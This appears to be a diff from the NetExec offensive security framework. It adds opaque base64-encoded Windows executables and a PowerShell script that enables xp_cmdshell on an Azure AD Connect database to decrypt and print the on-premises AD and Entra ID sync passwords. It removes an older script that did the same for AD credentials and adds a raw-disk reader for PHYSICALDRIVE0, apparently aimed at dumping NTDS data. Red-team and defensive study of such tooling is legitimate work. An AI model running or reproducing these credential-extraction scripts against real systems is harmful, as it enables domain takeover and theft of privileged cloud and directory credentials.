@@ -0,0 +1 @@
+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 truncated

nxc/data/msol_dump/entra-sync-creds.ps1

@@ -0,0 +1,82 @@
+# Original script by @_xpn_: https://gist.github.com/xpn/f12b145dba16c2eebdd1c6829267b90c
+# Modified by @NeffIsBack:
+# - Added support for Entra ID sync credentials (original source: https://github.com/Gerenios/AADInternals-Endpoints/blob/6af2054705e900b733ba76c6e65bfa6cad2328cc/AADSyncSettings.ps1#L108-L116)
+
+# Function to decrypt the encrypted configuration of the Azure AD Connect sync stuff
+function decrypter($crypted, $key_id, $instance_id, $entropy) {
+    $cmd = $client.CreateCommand()
+    $cmd.CommandText = "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'powershell.exe -c `"add-type -path ''C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'';`$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager;`$km.LoadKeySet([guid]''$entropy'', [guid]''$instance_id'', $key_id);`$key2 = `$null;`$km.GetKey(1, [ref]`$key2);`$decrypted = `$null;`$key2.DecryptBase64ToString(''$crypted'', [ref]`$decrypted);Write-Host `$decrypted`"'"
+    $reader = $cmd.ExecuteReader()
+
+    $decrypted = [string]::Empty
+
+    while ($reader.Read() -eq $true -and $reader.IsDBNull(0) -eq $false) {
+        $decrypted += $reader.GetString(0)
+    }
+    $reader.Close()
+
+    if ($decrypted -eq [string]::Empty) {
+        Write-Host "[!] Error using xp_cmdshell to launch our decryption powershell"
+        return
+    }
+
+    return $decrypted
+}
+
+# Create a connection to the localdb instance of Azure AD Connect
+$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb)\.\ADSync2019;Initial Catalog=ADSync"
+
+try {
+    $client.Open()
+} catch {
+    Write-Host "[!] Could not connect to localdb, Entra ID sync probably not installed"
+    return
+}
+
+function f {
+    param ($q)
+    $c = $client.CreateCommand()
+    $c.CommandText = $q
+    $r = $c.ExecuteReader()
+    if (-not $r.Read()) {
+        Write-Host "[!] Error querying: $q"
+        return
+    }
+    $res = for ($i = 0; $i -lt $r.FieldCount; $i++) { $r.GetValue($i) }
+    $r.Close()
+    return $res
+}
+
+# Get keyset_id, instance_id, entropy
+$out = f "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
+if (-not $out) { return }
+$key_id, $instance_id, $entropy = $out
+
+# Get and decrypt on-prem AD credentials
+$out = f "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
+if (-not $out) { return }
+$on_prem, $c = $out
+$pd = decrypter $c $key_id $instance_id $entropy
+
+# Get and decrypt Entra ID sync credentials
+$out = f "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE subtype = 'Windows Azure Active Directory (Microsoft)'"
+if (-not $out) { return }
+$entra, $c = $out
+$qd = decrypter $c $key_id $instance_id $entropy
+
+
+
+# Extract the credentials from the decrypted XML configurations
+$domain = select-xml -Content $on_prem -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerText}}
+$username = select-xml -Content $on_prem -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerText}}
+$pw = select-xml -Content $pd -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}
+
+Write-Host "On-prem Domain: $($domain.Domain)"
+Write-Host "On-prem Username: $($username.Username)"
+Write-Host "On-prem Password: $($pw.Password)"
+
+# Extract the Entra ID sync credentials
+$entra_user = ([xml]$entra).MAConfig.'parameter-values'.parameter[0].'#text'
+$entra_pw = select-xml -Content $qd -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}
+Write-Host "Entra ID Username: $($entra_user)"
+Write-Host "Entra ID Password: $($entra_pw.Password)"

nxc/data/msol_dump/msol_dump.ps1

@@ -1,65 +0,0 @@
-$sqlbin=@(Get-ChildItem -Path C:\"Program Files"\"Microsoft SQL Server"\ -Filter sqllocaldb.exe -Recurse).fullname
-$db=@(cmd /c $sqlbin info | findstr /i ADSy)
-
-$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb)\$db;Initial Catalog=ADSync"
-
-try {
-    $client.Open()
-} catch {
-    Write-Host "[!] Could not connect to localdb..."
-    return
-}
-
-Write-Host "[*] Querying ADSync localdb (mms_server_configuration)"
-
-$cmd = $client.CreateCommand()
-$cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
-$reader = $cmd.ExecuteReader()
-if ($reader.Read() -ne $true) {
-    Write-Host "[!] Error querying mms_server_configuration"
-    return
-}
-
-$key_id = $reader.GetInt32(0)
-$instance_id = $reader.GetGuid(1)
-$entropy = $reader.GetGuid(2)
-$reader.Close()
-
-Write-Host "[*] Querying ADSync localdb (mms_management_agent)"
-
-$cmd = $client.CreateCommand()
-$cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
-$reader = $cmd.ExecuteReader()
-if ($reader.Read() -ne $true) {
-    Write-Host "[!] Error querying mms_management_agent"
-    return
-}
-
-$config = $reader.GetString(0)
-$crypted = $reader.GetString(1)
-$reader.Close()
-
-Write-Host "[*] Using xp_cmdshell to run some Powershell as the service user"
-
-$cmd = $client.CreateCommand()
-$cmd.CommandText = "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'powershell.exe -c `"add-type -path ''C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'';`$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager;`$km.LoadKeySet([guid]''$entropy'', [guid]''$instance_id'', $key_id);`$key = `$null;`$km.GetActiveCredentialKey([ref]`$key);`$key2 = `$null;`$km.GetKey(1, [ref]`$key2);`$decrypted = `$null;`$key2.DecryptBase64ToString(''$crypted'', [ref]`$decrypted);Write-Host `$decrypted`"'"
-$reader = $cmd.ExecuteReader()
-
-$decrypted = [string]::Empty
-
-while ($reader.Read() -eq $true -and $reader.IsDBNull(0) -eq $false) {
-    $decrypted += $reader.GetString(0)
-}
-
-if ($decrypted -eq [string]::Empty) {
-    Write-Host "[!] Error using xp_cmdshell to launch our decryption powershell"
-    return
-}
-
-$domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerText}}
-$username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerText}}
-$password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}
-
-Write-Host "Domain: $($domain.Domain)"
-Write-Host "Username: $($username.Username)"
-Write-Host "Password: $($password.Password)"

nxc/data/ntds-dump-raw/ntds-dump-raw.ps1

@@ -0,0 +1,95 @@
+Add-Type -TypeDefinition @"
+using System;
+using System.Runtime.InteropServices;
+using Microsoft.Win32.SafeHandles;
+
+public class CNativeMethods
+{
+    public const uint GENERIC_READ = 0x80000000;
+    public const uint OPEN_EXISTING = 3;
+    public const uint FILE_SHARE_READ = 0x00000001;
+    public const uint FILE_SHARE_WRITE = 0x00000002;
+    public const uint FILE_SHARE_DELETE = 0x00000004;
+
+    [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
+    public static extern SafeFileHandle CreateFile(
+        string lpFileName, 
+        uint dwDesiredAccess, 
+        uint dwShareMode, 
+        IntPtr lpSecurityAttributes, 
+        uint dwCreationDisposition, 
+        uint dwFlagsAndAttributes, 
+        IntPtr hTemplateFile
+    );
+
+    [DllImport("kernel32.dll", SetLastError = true)]
+    public static extern bool ReadFile(
+        SafeFileHandle hFile, 
+        byte[] lpBuffer, 
+        uint nNumberOfBytesToRead, 
+        out uint lpNumberOfBytesRead, 
+        IntPtr lpOverlapped
+    );
+
+    [DllImport("kernel32.dll", SetLastError = true)]
+    public static extern bool SetFilePointerEx(
+        SafeFileHandle hFile, 
+        long lDistanceToMove, 
+        out long lpNewFilePointer, 
+        uint dwMoveMethod
+    );
+}
+
+public enum EMoveMethod : uint
+{
+    Begin = 0,
+    Current = 1,
+    End = 2
+}
+"@
+Function read_disk{
+    $offset = [long]$args[0]
+    $size = [int]$args[1]
+    try {
+        $handle = [CNativeMethods]::CreateFile("\\.\PHYSICALDRIVE0", 
+            [CNativeMethods]::GENERIC_READ, 
+            [CNativeMethods]::FILE_SHARE_READ -bor [CNativeMethods]::FILE_SHARE_WRITE -bor [CNativeMethods]::FILE_SHARE_DELETE, 
+            [IntPtr]::Zero, [CNativeMethods]::OPEN_EXISTING, 0, [IntPtr]::Zero)
+
+        if ($handle.IsInvalid) {
+            throw "Failed to create file handle"
+        }
+
+        $moveToHigh = 0
+        $success = [CNativeMethods]::SetFilePointerEx($handle, $offset, [ref]$moveToHigh, [EMoveMethod]::Begin)
+        if (-not $success) {
+            throw "Failed to set file pointer"
+        }
+
+        $buffer = New-Object byte[] $size
+        $bytesRead = 0
+        $success = [CNativeMethods]::ReadFile($handle, $buffer, $size, [ref]$bytesRead, [IntPtr]::Zero)
+
+        if (-not $success) {
+            throw "Failed to read file"
+        }
+
+        $memoryStream = New-Object System.IO.MemoryStream
+        $gzipStream = New-Object System.IO.Compression.GzipStream($memoryStream, [System.IO.Compression.CompressionMode]::Compress)
+        $gzipStream.Write($buffer, 0, $buffer.Length)
+        $gzipStream.Close()
+
+        $compressedBytes = $memoryStream.ToArray()
+        $compressedBase64 = [Convert]::ToBase64String($compressedBytes)
+
+        Write-Output $compressedBase64
+    } catch {
+        Write-Error "An error occurred: $_"
+    }
+
+    finally {
+        if ($handle -and !$handle.IsInvalid) {
+            $handle.Close()
+        }
+    }
+}

nxc/data/nxc.conf

@@ -5,7 +5,6 @@ pwn3d_label = Pwn3d!
 audit_mode = 
 reveal_chars_of_pwd = 0
 log_mode = False
-ignore_opsec = True
 host_info_colors = ["green", "red", "yellow", "cyan"]
 
 [BloodHound]
@@ -13,7 +12,10 @@ bh_enabled = False
 bh_uri = 127.0.0.1
 bh_port = 7687
 bh_user = neo4j
-bh_pass = neo4j
+bh_pass = bloodhoundcommunityedition
+
+[BloodHound-CE]
+bhce_enabled = True
 
 [Empire]
 api_host = 127.0.0.1

nxc/data/pi_module/pi.bs64

@@ -0,0 +1 @@
+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 truncated

nxc/data/veeam_dump_module/veeam_dump_mssql.ps1

@@ -1,9 +1,10 @@
 $SqlDatabaseName = "REPLACE_ME_SqlDatabase"
 $SqlServerName = "REPLACE_ME_SqlServer"
 $SqlInstanceName = "REPLACE_ME_SqlInstance"
